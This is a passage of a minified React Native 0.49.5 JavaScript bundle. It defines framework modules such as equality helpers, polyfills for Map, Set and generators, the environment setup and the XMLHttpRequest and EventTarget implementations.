t},u.exports=s},57);\n__d(function(t,e,r,n){\"use strict\";function o(t,e){return t===e?0!==t||0!==e||1/t===1/e:t!==t&&e!==e}function u(t,e){if(o(t,e))return!0;if(\"object\"!=typeof t||null===t||\"object\"!=typeof e||null===e)return!1;var r=Object.keys(t),n=Object.keys(e);if(r.length!==n.length)return!1;for(var u=0;u<r.length;u++)if(!c.call(e,r[u])||!o(t[r[u]],e[r[u]]))return!1;return!0}var c=Object.prototype.hasOwnProperty;r.exports=u},58);\n__d(function(r,t,n,e){\"use strict\";var f=function r(t,n){if(t===n)return!1;if(\"function\"==typeof t&&\"function\"==typeof n)return!1;if(\"object\"!=typeof t||null===t)return t!==n;if(\"object\"!=typeof n||null===n)return!0;if(t.constructor!==n.constructor)return!0;if(Array.isArray(t)){var e=t.length;if(n.length!==e)return!0;for(var f=0;f<e;f++)if(r(t[f],n[f]))return!0}else{for(var i in t)if(r(t[i],n[i]))return!0;for(var o in n)if(void 0===t[o]&&void 0!==n[o])return!0}return!1};n.exports=f},59);\n__d(function(r,t,e,n){\"use strict\";function f(r){return void 0===u&&(u=t(61)),\"number\"==typeof r?u.getByID(r):r}function i(r){if(r){if(o(r!==!0,\"style may be false but not true\"),!Array.isArray(r))return f(r);for(var t={},e=0,n=r.length;e<n;++e){var u=i(r[e]);if(u)for(var a in u)t[a]=u[a]}return t}}var u,o=t(13);e.exports=i},60);\n__d(function(_,t,E,R){\"use strict\";var e=t(44),r=e.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;E.exports=r.ReactNativePropRegistry},61);\n__d(function(u,t,n,c){\"use strict\";var r=(t(23),t(63)),e={_currentlyFocusedID:null,currentlyFocusedField:function(){return this._currentlyFocusedID},focusTextInput:function(u){this._currentlyFocusedID!==u&&null!==u&&(this._currentlyFocusedID=u,r.focus(u))},blurTextInput:function(u){this._currentlyFocusedID===u&&null!==u&&(this._currentlyFocusedID=null,r.blur(u))}};n.exports=e},62);\n__d(function(n,t,a,e){\"use strict\";var o=t(15),r=(t(23),t(29)),c=t(13),i=o.UIManager;c(i,\"UIManager is undefined. The native module config is probably incorrect.\"),i.__takeSnapshot=i.takeSnapshot,i.takeSnapshot=function(){c(!1,\"UIManager.takeSnapshot should not be called directly. Use ReactNative.takeSnapshot instead.\")},Object.keys(i).forEach(function(n){var t=i[n];t.Manager&&(r(t,\"Constants\",{get:function(){var n=o[t.Manager],a={};return n&&Object.keys(n).forEach(function(t){var e=n[t];\"function\"!=typeof e&&(a[t]=e)}),a}}),r(t,\"Commands\",{get:function(){var n=o[t.Manager],a={},e=0;return n&&Object.keys(n).forEach(function(t){var o=n[t];\"function\"==typeof o&&(a[t]=e++)}),a}}))}),a.exports=i},63);\n__d(function(e,r,t,n){\"use strict\";function a(e,r,t){var n=Object.getOwnPropertyDescriptor(e,r),a=n||{},o=a.enumerable,l=a.writable,u=a.configurable;return n&&!u?void console.error(\"Failed to set polyfill. \"+r+\" is not configurable.\"):void i(e,r,{get:t,enumerable:o!==!1,writable:l!==!1})}function o(r,t){a(e,r,t)}void 0===e.GLOBAL&&(e.GLOBAL=e),void 0===e.window&&(e.window=e);var i=r(29);if(e.process=e.process||{},e.process.env=e.process.env||{},e.process.env.NODE_ENV||(e.process.env.NODE_ENV=\"production\"),e.__RCTProfileIsProfiling){var l=r(19);l.setEnabled(!0)}var u=r(47);if(u.installConsoleErrorReporter(),!e.__fbDisableExceptionsManager){var c=function(e,r){try{u.handleException(e,r)}catch(r){throw console.log(\"Failed to print error: \",r.message),e}},s=r(18);s.setGlobalHandler(c)}var f=r(15),v=f.PlatformConstants;if(v){var m=function(e){return e.major+\".\"+e.minor+\".\"+e.patch+(null!==e.prerelease?\"-\"+e.prerelease:\"\")},d=r(65),p=v.reactNativeVersion;if(d.version.major!==p.major||d.version.minor!==p.minor)throw new Error(\"React Native version mismatch.\\n\\nJavaScript version: \"+m(d.version)+\"\\n\"+(\"Native version: \"+m(p)+\"\\n\\n\")+\"Make sure that you have rebuilt the native code. If the problem persists try clearing the watchman and packager caches with `watchman watch-del-all && react-native start --reset-cache`.\")}var g=r(66);g(\"Map\")&&o(\"Map\",function(){return r(67)}),g(\"Set\")&&o(\"Set\",function(){return r(71)}),o(\"Promise\",function(){return r(30)}),o(\"regeneratorRuntime\",function(){return delete e.regeneratorRuntime,r(72),e.regeneratorRuntime});var b=function(e){o(e,function(){return r(22)[e]})};b(\"setTimeout\"),b(\"setInterval\"),b(\"setImmediate\"),b(\"clearTimeout\"),b(\"clearInterval\"),b(\"clearImmediate\"),b(\"requestAnimationFrame\"),b(\"cancelAnimationFrame\"),b(\"requestIdleCallback\"),b(\"cancelIdleCallback\"),o(\"XMLHttpRequest\",function(){return r(73)}),o(\"FormData\",function(){return r(84)}),o(\"fetch\",function(){return r(85).fetch}),o(\"Headers\",function(){return r(85).Headers}),o(\"Request\",function(){return r(85).Request}),o(\"Response\",function(){return r(85).Response}),o(\"WebSocket\",function(){return r(87)}),o(\"Blob\",function(){return r(88)}),o(\"URL\",function(){return r(95)}),e.alert||(e.alert=function(e){r(96).alert(\"Alert\",\"\"+e)});var h=e.navigator;void 0===h&&(e.navigator=h={}),a(h,\"product\",function(){return\"ReactNative\"}),a(h,\"geolocation\",function(){return r(98)});var C=r(16);C.registerLazyCallableModule(\"Systrace\",function(){return r(19)}),C.registerLazyCallableModule(\"JSTimers\",function(){return r(22)}),C.registerLazyCallableModule(\"HeapCapture\",function(){return r(101)}),C.registerLazyCallableModule(\"SamplingProfiler\",function(){return r(102)}),C.registerLazyCallableModule(\"RCTLog\",function(){return r(103)}),C.registerLazyCallableModule(\"RCTDeviceEventEmitter\",function(){return r(35)}),C.registerLazyCallableModule(\"RCTNativeAppEventEmitter\",function(){return r(104)}),C.registerLazyCallableModule(\"PerformanceLogger\",function(){return r(105)})},64);\n__d(function(e,n,r,o){o.version={major:0,minor:49,patch:5,prerelease:null}},65);\n__d(function(n,t,o,r){\"use strict\";function e(t){var o=n[t];if(null==o)return!0;if(\"function\"!=typeof n.Symbol)return!0;var r=o.prototype;return null==o||\"function\"!=typeof o||\"function\"!=typeof r.clear||0!==(new o).size||\"function\"!=typeof r.keys||\"function\"!=typeof r.forEach}function f(n){var t=u[n];return void 0!==t?t:(t=e(n),u[n]=t,t)}var u={};o.exports=f},66);\n__d(function(e,t,r,n){\"use strict\";var a=t(66),i=t(68),u=t(69),o=t(70);r.exports=function(e,t){function r(e,t){if(l(t)){var r=x(t);return e._objectIndex[r]}var n=v+t;return\"string\"==typeof t?e._stringIndex[n]:e._otherIndex[n]}function n(e,t,r){var n=null==r;if(l(t)){var a=x(t);n?delete e._objectIndex[a]:e._objectIndex[a]=r}else{var i=v+t;\"string\"==typeof t?n?delete e._stringIndex[i]:e._stringIndex[i]=r:n?delete e._otherIndex[i]:e._otherIndex[i]=r}}function s(e){e._mapData=[],e._objectIndex={},e._stringIndex={},e._otherIndex={},e.size=0}function l(e){return null!=e&&(\"object\"==typeof e||\"function\"==typeof e)}function p(e,t){return{value:e,done:t}}function f(e){return!I||Object.isExtensible(e)}function c(e){var t;switch(e.nodeType){case 1:t=e.uniqueID;break;case 9:t=e.documentElement.uniqueID;break;default:return null}return t?_+t:null}if(!a(\"Map\"))return e.Map;var h=\"key\",b=\"value\",y=\"key+value\",v=\"$map_\",_=\"IE_HASH_\",d=function(){function e(t){if(babelHelpers.classCallCheck(this,e),!l(this))throw new TypeError(\"Wrong map object type.\");if(s(this),null!=t)for(var r,n=o(t);!(r=n.next()).done;){if(!l(r.value))throw new TypeError(\"Expected iterable items to be pair objects.\");this.set(r.value[0],r.value[1])}}return babelHelpers.createClass(e,[{key:\"clear\",value:function(){s(this)}},{key:\"has\",value:function(e){var t=r(this,e);return!(null==t||!this._mapData[t])}},{key:\"set\",value:function(e,t){var a=r(this,e);return null!=a&&this._mapData[a]?this._mapData[a][1]=t:(a=this._mapData.push([e,t])-1,n(this,e,a),this.size+=1),this}},{key:\"get\",value:function(e){var n=r(this,e);return null==n?t:this._mapData[n][1]}},{key:\"delete\",value:function(e){var a=r(this,e);return!(null==a||!this._mapData[a])&&(n(this,e,t),this._mapData[a]=t,this.size-=1,!0)}},{key:\"entries\",value:function(){return new m(this,y)}},{key:\"keys\",value:function(){return new m(this,h)}},{key:\"values\",value:function(){return new m(this,b)}},{key:\"forEach\",value:function(e,r){if(\"function\"!=typeof e)throw new TypeError(\"Callback must be callable.\");for(var n=e.bind(r||t),a=this._mapData,i=0;i<a.length;i++){var u=a[i];null!=u&&n(u[1],u[0],this)}}}]),e}();d.prototype[o.ITERATOR_SYMBOL]=d.prototype.entries;var m=function(){function e(t,r){if(babelHelpers.classCallCheck(this,e),!l(t)||!t._mapData)throw new TypeError(\"Object is not a map.\");if([h,y,b].indexOf(r)===-1)throw new Error(\"Invalid iteration kind.\");this._map=t,this._nextIndex=0,this._kind=r}return babelHelpers.createClass(e,[{key:\"next\",value:function(){if(!this instanceof d)throw new TypeError(\"Expected to be called on a MapIterator.\");var e=this._map,r=this._nextIndex,n=this._kind;if(null==e)return p(t,!0);for(var a=e._mapData;r<a.length;){var i=a[r];if(r+=1,this._nextIndex=r,i){if(n===h)return p(i[0],!1);if(n===b)return p(i[1],!1);if(n)return p(i,!1)}}return this._map=t,p(t,!0)}}]),e}();m.prototype[o.ITERATOR_SYMBOL]=function(){return this};var I=function(){try{return Object.defineProperty({},\"x\",{}),!0}catch(e){return!1}}(),x=function(){var e=Object.prototype.propertyIsEnumerable,t=i(),r=0;return function(n){if(n[t])return n[t];if(!I&&n.propertyIsEnumerable&&n.propertyIsEnumerable[t])return n.propertyIsEnumerable[t];if(!I&&u(n)&&c(n))return c(n);if(!I&&n[t])return n[t];if(f(n)){if(r+=1,I)Object.defineProperty(n,t,{enumerable:!1,writable:!1,configurable:!1,value:r});else if(n.propertyIsEnumerable)n.propertyIsEnumerable=function(){return e.apply(this,arguments)},n.propertyIsEnumerable[t]=r;else{if(!u(n))throw new Error(\"Unable to set a non-enumerable property on object.\");n[t]=r}return r}throw new Error(\"Non-extensible objects are not allowed as keys.\")}}();return d}(Function(\"return this\")())},67);\n__d(function(t,n,r,e){\"use strict\";function o(){return\"f\"+(1073741824*Math.random()).toString(16).replace(\".\",\"\")}r.exports=o},68);\n__d(function(e,o,n,t){\"use strict\";function f(e){var o=e?e.ownerDocument||e:document,n=o.defaultView||window;return!(!e||!(\"function\"==typeof n.Node?e instanceof n.Node:\"object\"==typeof e&&\"number\"==typeof e.nodeType&&\"string\"==typeof e.nodeName))}n.exports=f},69);\n__d(function(t,e,r,n){\"use strict\";var i=\"key\",o=\"value\",a=\"key+value\",s=\"function\"==typeof Symbol&&\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\",u=function(){return Array.prototype[s]&&String.prototype[s]?function(t){return t[s]()}:function(){function t(t,e){return{value:t,done:e}}var e=function(){function e(t,r){if(babelHelpers.classCallCheck(this,e),!Array.isArray(t))throw new TypeError(\"Object is not an Array\");this._iteratedObject=t,this._kind=r,this._nextIndex=0}return babelHelpers.createClass(e,[{key:\"next\",value:function(){if(!this instanceof e)throw new TypeError(\"Object is not an ArrayIterator\");if(null==this._iteratedObject)return t(void 0,!0);var r=this._iteratedObject,n=this._iteratedObject.length,s=this._nextIndex,u=this._kind;return s>=n?(this._iteratedObject=void 0,t(void 0,!0)):(this._nextIndex=s+1,u===i?t(s,!1):u===o?t(r[s],!1):u===a?t([s,r[s]],!1):void 0)}},{key:\"@@iterator\",value:function(){return this}}]),e}(),r=function(){function e(t){if(babelHelpers.classCallCheck(this,e),\"string\"!=typeof t)throw new TypeError(\"Object is not a string\");this._iteratedString=t,this._nextIndex=0}return babelHelpers.createClass(e,[{key:\"next\",value:function(){if(!this instanceof e)throw new TypeError(\"Object is not a StringIterator\");if(null==this._iteratedString)return t(void 0,!0);var r=this._nextIndex,n=this._iteratedString,i=n.length;if(r>=i)return this._iteratedString=void 0,t(void 0,!0);var o,a=n.charCodeAt(r);if(a<55296||a>56319||r+1===i)o=n[r];else{var s=n.charCodeAt(r+1);o=s<56320||s>57343?n[r]:n[r]+n[r+1]}return this._nextIndex=r+o.length,t(o,!1)}},{key:\"@@iterator\",value:function(){return this}}]),e}();return function(t,n){return\"string\"==typeof t?new r(t):Array.isArray(t)?new e(t,n||o):t[s]()}}()}();babelHelpers.extends(u,{KIND_KEY:i,KIND_VALUE:o,KIND_KEY_VAL:a,ITERATOR_SYMBOL:s}),r.exports=u},70);\n__d(function(e,t,n,s){\"use strict\";var i=t(67),r=t(66),a=t(70);n.exports=function(e){function t(e){e._map=new i,e.size=e._map.size}if(!r(\"Set\"))return e.Set;var n=function(){function e(n){if(babelHelpers.classCallCheck(this,e),null==this||\"object\"!=typeof this&&\"function\"!=typeof this)throw new TypeError(\"Wrong set object type.\");if(t(this),null!=n)for(var s,i=a(n);!(s=i.next()).done;)this.add(s.value)}return babelHelpers.createClass(e,[{key:\"add\",value:function(e){return this._map.set(e,e),this.size=this._map.size,this}},{key:\"clear\",value:function(){t(this)}},{key:\"delete\",value:function(e){var t=this._map.delete(e);return this.size=this._map.size,t}},{key:\"entries\",value:function(){return this._map.entries()}},{key:\"forEach\",value:function(e){for(var t,n=arguments[1],s=this._map.keys();!(t=s.next()).done;)e.call(n,t.value,t.value,this)}},{key:\"has\",value:function(e){return this._map.has(e)}},{key:\"values\",value:function(){return this._map.values()}}]),e}();return n.prototype[a.ITERATOR_SYMBOL]=n.prototype.values,n.prototype.keys=n.prototype.values,n}(Function(\"return this\")())},71);\n__d(function(t,r,e,n){!function(t){\"use strict\";function r(t,r,e,n){var i=r&&r.prototype instanceof o?r:o,a=Object.create(i.prototype),c=new p(n||[]);return a._invoke=s(t,e,c),a}function n(t,r,e){try{return{type:\"normal\",arg:t.call(r,e)}}catch(t){return{type:\"throw\",arg:t}}}function o(){}function i(){}function a(){}function c(t){[\"next\",\"throw\",\"return\"].forEach(function(r){t[r]=function(t){return this._invoke(r,t)}})}function u(t){this.arg=t}function f(t){function r(e,o,i,a){var c=n(t[e],t,o);if(\"throw\"!==c.type){var f=c.arg,s=f.value;return s instanceof u?Promise.resolve(s.arg).then(function(t){r(\"next\",t,i,a)},function(t){r(\"throw\",t,i,a)}):Promise.resolve(s).then(function(t){f.value=t,i(f)},a)}a(c.arg)}function e(t,e){function n(){return new Promise(function(n,o){r(t,e,n,o)})}return o=o?o.then(n,n):n()}\"object\"==typeof process&&process.domain&&(r=process.domain.bind(r));var o;this._invoke=e}function s(t,r,e){var o=b;return function(i,a){if(o===_)throw new Error(\"Generator is already running\");if(o===k){if(\"throw\"===i)throw a;return v()}for(;;){var c=e.delegate;if(c){if(\"return\"===i||\"throw\"===i&&c.iterator[i]===g){e.delegate=null;var u=c.iterator.return;if(u){var f=n(u,c.iterator,a);if(\"throw\"===f.type){i=\"throw\",a=f.arg;continue}}if(\"return\"===i)continue}var f=n(c.iterator[i],c.iterator,a);if(\"throw\"===f.type){e.delegate=null,i=\"throw\",a=f.arg;continue}i=\"next\",a=g;var s=f.arg;if(!s.done)return o=j,s;e[c.resultName]=s.value,e.next=c.nextLoc,e.delegate=null}if(\"next\"===i)e.sent=e._sent=a;else if(\"throw\"===i){if(o===b)throw o=k,a;e.dispatchException(a)&&(i=\"next\",a=g)}else\"return\"===i&&e.abrupt(\"return\",a);o=_;var f=n(t,r,e);if(\"normal\"===f.type){o=e.done?k:j;var s={value:f.arg,done:e.done};if(f.arg!==G)return s;e.delegate&&\"next\"===i&&(a=g)}else\"throw\"===f.type&&(o=k,i=\"throw\",a=f.arg)}}}function l(t){var r={tryLoc:t[0]};1 in t&&(r.catchLoc=t[1]),2 in t&&(r.finallyLoc=t[2],r.afterLoc=t[3]),this.tryEntries.push(r)}function h(t){var r=t.completion||{};r.type=\"normal\",delete r.arg,t.completion=r}function p(t){this.tryEntries=[{tryLoc:\"root\"}],t.forEach(l,this),this.reset(!0)}function y(t){if(t){var r=t[m];if(r)return r.call(t);if(\"function\"==typeof t.next)return t;if(!isNaN(t.length)){var e=-1,n=function r(){for(;++e<t.length;)if(d.call(t,e))return r.value=t[e],r.done=!1,r;return r.value=g,r.done=!0,r};return n.next=n}}return{next:v}}function v(){return{value:g,done:!0}}var g,d=Object.prototype.hasOwnProperty,w=\"function\"==typeof Symbol?Symbol:{},m=w.iterator||\"@@iterator\",L=w.toStringTag||\"@@toStringTag\",x=\"object\"==typeof e,E=t.regeneratorRuntime;if(E)return void(x&&(e.exports=E));E=t.regeneratorRuntime=x?e.exports:{},E.wrap=r;var b=\"suspendedStart\",j=\"suspendedYield\",_=\"executing\",k=\"completed\",G={},N=a.prototype=o.prototype;i.prototype=N.constructor=a,a.constructor=i,a[L]=i.displayName=\"GeneratorFunction\",E.isGeneratorFunction=function(t){var r=\"function\"==typeof t&&t.constructor;return!!r&&(r===i||\"GeneratorFunction\"===(r.displayName||r.name))},E.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,a):(t.__proto__=a,L in t||(t[L]=\"GeneratorFunction\")),t.prototype=Object.create(N),t},E.awrap=function(t){return new u(t)},c(f.prototype),E.async=function(t,e,n,o){var i=new f(r(t,e,n,o));return E.isGeneratorFunction(e)?i:i.next().then(function(t){return t.done?t.value:i.next()})},c(N),N[m]=function(){return this},N[L]=\"Generator\",N.toString=function(){return\"[object Generator]\"},E.keys=function(t){var r=[];for(var e in t)r.push(e);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value=n,e.done=!1,e}return e.done=!0,e}},E.values=y,p.prototype={constructor:p,reset:function(t){if(this.prev=0,this.next=0,this.sent=this._sent=g,this.done=!1,this.delegate=null,this.tryEntries.forEach(h),!t)for(var r in this)\"t\"===r.charAt(0)&&d.call(this,r)&&!isNaN(+r.slice(1))&&(this[r]=g)},stop:function(){this.done=!0;var t=this.tryEntries[0],r=t.completion;if(\"throw\"===r.type)throw r.arg;return this.rval},dispatchException:function(t){function r(r,n){return i.type=\"throw\",i.arg=t,e.next=r,!!n}if(this.done)throw t;for(var e=this,n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n],i=o.completion;if(\"root\"===o.tryLoc)return r(\"end\");if(o.tryLoc<=this.prev){var a=d.call(o,\"catchLoc\"),c=d.call(o,\"finallyLoc\");if(a&&c){if(this.prev<o.catchLoc)return r(o.catchLoc,!0);if(this.prev<o.finallyLoc)return r(o.finallyLoc)}else if(a){if(this.prev<o.catchLoc)return r(o.catchLoc,!0)}else{if(!c)throw new Error(\"try statement without catch or finally\");if(this.prev<o.finallyLoc)return r(o.finallyLoc)}}}},abrupt:function(t,r){for(var e=this.tryEntries.length-1;e>=0;--e){var n=this.tryEntries[e];if(n.tryLoc<=this.prev&&d.call(n,\"finallyLoc\")&&this.prev<n.finallyLoc){var o=n;break}}o&&(\"break\"===t||\"continue\"===t)&&o.tryLoc<=r&&r<=o.finallyLoc&&(o=null);var i=o?o.completion:{};return i.type=t,i.arg=r,o?this.next=o.finallyLoc:this.complete(i),G},complete:function(t,r){if(\"throw\"===t.type)throw t.arg;\"break\"===t.type||\"continue\"===t.type?this.next=t.arg:\"return\"===t.type?(this.rval=t.arg,this.next=\"end\"):\"normal\"===t.type&&r&&(this.next=r)},finish:function(t){for(var r=this.tryEntries.length-1;r>=0;--r){var e=this.tryEntries[r];if(e.finallyLoc===t)return this.complete(e.completion,e.afterLoc),h(e),G}},catch:function(t){for(var r=this.tryEntries.length-1;r>=0;--r){var e=this.tryEntries[r];if(e.tryLoc===t){var n=e.completion;if(\"throw\"===n.type){var o=n.arg;h(e)}return o}}throw new Error(\"illegal catch attempt\")},delegateYield:function(t,r,e){return this.delegate={iterator:y(t),resultName:r,nextLoc:e},G}}}(\"object\"==typeof t?t:\"object\"==typeof window?window:\"object\"==typeof self?self:this)},72);\n__d(function(e,t,s,r){\"use strict\";var i=t(74),n=t(78),o=t(83),a=t(13),h=t(27),p=0,d=1,u=2,l=3,_=4,c={arraybuffer:\"function\"==typeof e.ArrayBuffer,blob:\"function\"==typeof e.Blob,document:!1,json:!0,text:!0,\"\":!0},y=[\"abort\",\"error\",\"load\",\"loadstart\",\"progress\",\"timeout\",\"loadend\"],b=y.concat(\"readystatechange\"),v=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),t}(i.apply(void 0,y)),f=function(t){function s(){babelHelpers.classCallCheck(this,s);var e=babelHelpers.possibleConstructorReturn(this,(s.__proto__||Object.getPrototypeOf(s)).call(this));return e.UNSENT=p,e.OPENED=d,e.HEADERS_RECEIVED=u,e.LOADING=l,e.DONE=_,e.readyState=p,e.status=0,e.timeout=0,e.withCredentials=!0,e.upload=new v,e._aborted=!1,e._hasError=!1,e._method=null,e._response=\"\",e._url=null,e._timedOut=!1,e._trackingName=\"unknown\",e._incrementalEvents=!1,e._reset(),e}return babelHelpers.inherits(s,t),babelHelpers.createClass(s,null,[{key:\"setInterceptor\",value:function(e){s._interceptor=e}}]),babelHelpers.createClass(s,[{key:\"_reset\",value:function(){this.readyState=this.UNSENT,this.responseHeaders=void 0,this.status=0,delete this.responseURL,this._requestId=null,this._cachedResponse=void 0,this._hasError=!1,this._headers={},this._response=\"\",this._responseType=\"\",this._sent=!1,this._lowerCaseResponseHeaders={},this._clearSubscriptions(),this._timedOut=!1}},{key:\"__didCreateRequest\",value:function(e){this._requestId=e,s._interceptor&&s._interceptor.requestSent(e,this._url||\"\",this._method||\"GET\",this._headers)}},{key:\"__didUploadProgress\",value:function(e,t,s){e===this._requestId&&this.upload.dispatchEvent({type:\"progress\",lengthComputable:!0,loaded:t,total:s})}},{key:\"__didReceiveResponse\",value:function(e,t,r,i){e===this._requestId&&(this.status=t,this.setResponseHeaders(r),this.setReadyState(this.HEADERS_RECEIVED),i||\"\"===i?this.responseURL=i:delete this.responseURL,s._interceptor&&s._interceptor.responseReceived(e,i||this._url||\"\",t,r||{}))}},{key:\"__didReceiveData\",value:function(e,t){e===this._requestId&&(this._response=t,this._cachedResponse=void 0,this.setReadyState(this.LOADING),s._interceptor&&s._interceptor.dataReceived(e,t))}},{key:\"__didReceiveIncrementalData\",value:function(e,t,r,i){e===this._requestId&&(this._response?this._response+=t:this._response=t,s._interceptor&&s._interceptor.dataReceived(e,t),this.setReadyState(this.LOADING),this.__didReceiveDataProgress(e,r,i))}},{key:\"__didReceiveDataProgress\",value:function(e,t,s){e===this._requestId&&this.dispatchEvent({type:\"progress\",lengthComputable:s>=0,loaded:t,total:s})}},{key:\"__didCompleteResponse\",value:function(e,t,r){e===this._requestId&&(t&&(\"\"!==this._responseType&&\"text\"!==this._responseType||(this._response=t),this._hasError=!0,r&&(this._timedOut=!0)),this._clearSubscriptions(),this._requestId=null,this.setReadyState(this.DONE),t?s._interceptor&&s._interceptor.loadingFailed(e,t):s._interceptor&&s._interceptor.loadingFinished(e,this._response.length))}},{key:\"_clearSubscriptions\",value:function(){(this._subscriptions||[]).forEach(function(e){e&&e.remove()}),this._subscriptions=[]}},{key:\"getAllResponseHeaders\",value:function(){if(!this.responseHeaders)return null;var e=this.responseHeaders||{};return Object.keys(e).map(function(t){return t+\": \"+e[t]}).join(\"\\r\\n\")}},{key:\"getResponseHeader\",value:function(e){var t=this._lowerCaseResponseHeaders[e.toLowerCase()];return void 0!==t?t:null}},{key:\"setRequestHeader\",value:function(e,t){if(this.readyState!==this.OPENED)throw new Error(\"Request has not been opened\");this._headers[e.toLowerCase()]=String(t)}},{key:\"setTrackingName\",value:function(e){return this._trackingName=e,this}},{key:\"open\",value:function(e,t,s){if(this.readyState!==this.UNSENT)throw new Error(\"Cannot open, already sending\");if(void 0!==s&&!s)throw new Error(\"Synchronous http requests are not supported\");if(!t)throw new Error(\"Cannot load an empty url\");this._method=e.toUpperCase(),this._url=t,this._aborted=!1,this.setReadyState(this.OPENED)}},{key:\"send\",value:function(e){var t=this;if(this.readyState!==this.OPENED)throw new Error(\"Request has not been opened\");if(this._sent)throw new Error(\"Request has already been sent\");this._sent=!0;var s=this._incrementalEvents||!!this.onreadystatechange||!!this.onprogress;this._subscriptions.push(n.addListener(\"didSendNetworkData\",function(e){return t.__didUploadProgress.apply(t,babelHelpers.toConsumableArray(e))})),this._subscriptions.push(n.addListener(\"didReceiveNetworkResponse\",function(e){return t.__didReceiveResponse.apply(t,babelHelpers.toConsumableArray(e))})),this._subscriptions.push(n.addListener(\"didReceiveNetworkData\",function(e){return t.__didReceiveData.apply(t,babelHelpers.toConsumableArray(e))})),this._subscriptions.push(n.addListener(\"didReceiveNetworkIncrementalData\",function(e){return t.__didReceiveIncrementalData.apply(t,babelHelpers.toConsumableArray(e))})),this._subscriptions.push(n.addListener(\"didReceiveNetworkDataProgress\",function(e){return t.__didReceiveDataProgress.apply(t,babelHelpers.toConsumableArray(e))})),this._subscriptions.push(n.addListener(\"didCompleteNetworkResponse\",function(e){return t.__didCompleteResponse.apply(t,babelHelpers.toConsumableArray(e))}));var r=\"text\";\"arraybuffer\"!==this._responseType&&\"blob\"!==this._responseType||(r=\"base64\"),a(this._method,\"Request method needs to be defined.\"),a(this._url,\"Request URL needs to be defined.\"),n.sendRequest(this._method,this._trackingName,this._url,this._headers,e,r,s,this.timeout,this.__didCreateRequest.bind(this),this.withCredentials)}},{key:\"abort\",value:function(){this._aborted=!0,this._requestId&&n.abortRequest(this._requestId),this.readyState===this.UNSENT||this.readyState===this.OPENED&&!this._sent||this.readyState===this.DONE||(this._reset(),this.setReadyState(this.DONE)),this._reset()}},{key:\"setResponseHeaders\",value:function(e){this.responseHeaders=e||null;var t=e||{};this._lowerCaseResponseHeaders=Object.keys(t).reduce(function(e,s){return e[s.toLowerCase()]=t[s],e},{})}},{key:\"setReadyState\",value:function(e){this.readyState=e,this.dispatchEvent({type:\"readystatechange\"}),e===this.DONE&&(this._aborted?this.dispatchEvent({type:\"abort\"}):this._hasError?this._timedOut?this.dispatchEvent({type:\"timeout\"}):this.dispatchEvent({type:\"error\"}):this.dispatchEvent({type:\"load\"}),this.dispatchEvent({type:\"loadend\"}))}},{key:\"addEventListener\",value:function(e,t){\"readystatechange\"!==e&&\"progress\"!==e||(this._incrementalEvents=!0),babelHelpers.get(s.prototype.__proto__||Object.getPrototypeOf(s.prototype),\"addEventListener\",this).call(this,e,t)}},{key:\"responseType\",get:function(){return this._responseType},set:function(e){if(this._sent)throw new Error(\"Failed to set the 'responseType' property on 'XMLHttpRequest': The response type cannot be set after the request has been sent.\");return c.hasOwnProperty(e)?(a(c[e]||\"document\"===e,\"The provided value '\"+e+\"' is unsupported in this environment.\"),void(this._responseType=e)):void h(!1,\"The provided value '\"+e+\"' is not a valid 'responseType'.\")}},{key:\"responseText\",get:function(){if(\"\"!==this._responseType&&\"text\"!==this._responseType)throw new Error(\"The 'responseText' property is only available if 'responseType' \"+(\"is set to '' or 'text', but it is '\"+this._responseType+\"'.\"));return this.readyState<l?\"\":this._response}},{key:\"response\",get:function(){var t=this.responseType;if(\"\"===t||\"text\"===t)return this.readyState<l||this._hasError?\"\":this._response;if(this.readyState!==_)return null;if(void 0!==this._cachedResponse)return this._cachedResponse;switch(t){case\"document\":this._cachedResponse=null;break;case\"arraybuffer\":this._cachedResponse=o.toByteArray(this._response).buffer;break;case\"blob\":this._cachedResponse=new e.Blob([o.toByteArray(this._response).buffer],{type:this.getResponseHeader(\"content-type\")||\"\"});break;case\"json\":try{this._cachedResponse=JSON.parse(this._response)}catch(e){this._cachedResponse=null}break;default:this._cachedResponse=null}return this._cachedResponse}}]),s}(i.apply(void 0,babelHelpers.toConsumableArray(b)));f.UNSENT=p,f.OPENED=d,f.HEADERS_RECEIVED=u,f.LOADING=l,f.DONE=_,f._interceptor=null,s.exports=f},73);\n__d(function(e,t,n,r){\"use strict\";var i=t(75),l=t(76),o=t(77),u=i.LISTENERS,a=i.CAPTURE,f=i.BUBBLE,c=i.ATTRIBUTE,s=i.newNode,v=l.defineCustomEventTarget,d=o.createEventWrapper,h=o.STOP_IMMEDIATE_PROPAGATION_FLAG,p=\"undefined\"!=typeof window&&\"undefined\"!=typeof window.EventTarget,E=n.exports=function e(){if(!(this instanceof e)){if(1===arguments.length&&Array.isArray(arguments[0]))return v(e,arguments[0]);if(arguments.length>0){for(var t=Array(arguments.length),n=0;n<arguments.length;++n)t[n]=arguments[n];return v(e,t)}throw new TypeError(\"Cannot call a class as a function\")}Object.defineProperty(this,u,{value:Object.create(null)})};E.prototype=Object.create((p?window.EventTarget:Object).prototype,{constructor:{value:E,writable:!0,configurable:!0},addEventListener:{value:function(e,t,n){if(null==t)return!1;if(\"function\"!=typeof t&&\"object\"!=typeof t)throw new TypeError('\"listener\" is not an object.');var r=n?a:f,i=this[u][e];if(null==i)return this[u][e]=s(t,r),!0;for(var l=null;null!=i;){if(i.listener===t&&i.kind===r)return!1;l=i,i=i.next}return l.next=s(t,r),!0},configurable:!0,writable:!0},removeEventListener:{value:function(e,t,n){if(null==t)return!1;for(var r=n?a:f,i=null,l=this[u][e];null!=l;){if(l.listener===t&&l.kind===r)return null==i?this[u][e]=l.next:i.next=l.next,!0;i=l,l=l.next}return!1},configurable:!0,writable:!0},dispatchEvent:{value:function(e){var t=this[u][e.type];if(null==t)return!0;for(var n=d(e,this);null!=t&&(\"function\"==typeof t.listener?t.listener.call(this,n):t.kind!==c&&\"function\"==typeof t.listener.handleEvent&&t.listener.handleEvent(n),!n[h]);)t=t.next;return!n.defaultPrevented},configurable:!0,writable:!0}})},74);\n__d(function(e,n,t,i){\"use strict\";var r=i.createUniqueKey=\"undefined\"!=typeof 